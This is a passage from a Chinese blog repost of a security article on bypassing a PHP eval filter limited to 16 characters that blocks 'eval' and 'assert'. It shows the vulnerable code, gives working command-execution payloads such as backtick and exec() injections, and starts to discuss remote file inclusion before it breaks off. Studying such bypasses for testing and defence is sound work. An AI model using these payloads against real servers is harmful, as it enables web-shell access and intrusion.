php绕过eval过滤,eval长度限制绕过 && PHP5.6新特性

来源:https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

作者: phithon@长亭科技

昨天晚上 @roker 在小密圈里问了一个问题,就是eval(xxx),xxx长度限制为16个字符,而且不能用eval或assert,怎么执行命令。

我把他的叙述写成代码,大概如下:

$param = $_REQUEST['param'];

if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {

eval($param);

}

?>

那么这个代码怎么拿到webshell?

命令执行的利用

这个是我得到最多的一种答案,大部分人都是利用命令执行来绕过限制,最短的是:

param=`$_GET[1]`;&1=bash

稍长一点的可以用exec:

param=exec($_GET[1]);

这个方法我就不多说了,送分题。

远程文件包含的利用

有的同学提到了远程文件,但正常文件包含include $_GET[1];,这个刚好17个字符,超了一位。

不过,其实include$_GET[1];也是可以运行的,中间的空格可

你可能感兴趣的:(php绕过eval过滤)